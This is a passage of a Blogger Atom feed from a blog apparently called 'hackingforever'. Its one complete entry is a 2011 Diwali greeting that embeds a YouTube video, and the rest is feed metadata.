privilages.'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEAq8GFpaofx8AqEOGQDjX1BHaTN8o3YF1Jsy1cm0YgyUMUWOIUeyTCGgVLY005sygWs95y50URsfBvD5lDmtfjR4_rVBqlGsBb_GLNdAznQIgSzIyv3-JAp3lig0YdffX8lZQhgbphiw/s72-c/images.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-7979255055687589703</id><published>2011-10-27T00:46:00.000-07:00</published><updated>2011-10-27T00:50:51.519-07:00</updated><title type='text'></title><content type='html'>A special gift on dewali by nabab on street ......great job &lt;br /&gt;
&lt;iframe width=&quot;420&quot; height=&quot;315&quot; src=&quot;http://www.youtube.com/embed/HKwJsqS9n_k&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/7979255055687589703/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2011/10/special-gift-on-dewali-by-nabab-on.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/7979255055687589703'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/7979255055687589703'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2011/10/special-gift-on-dewali-by-nabab-on.html' title=''/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/HKwJsqS9n_k/default.jpg" height="72" width="72"/><thr:total>3</thr:total></entry></feed>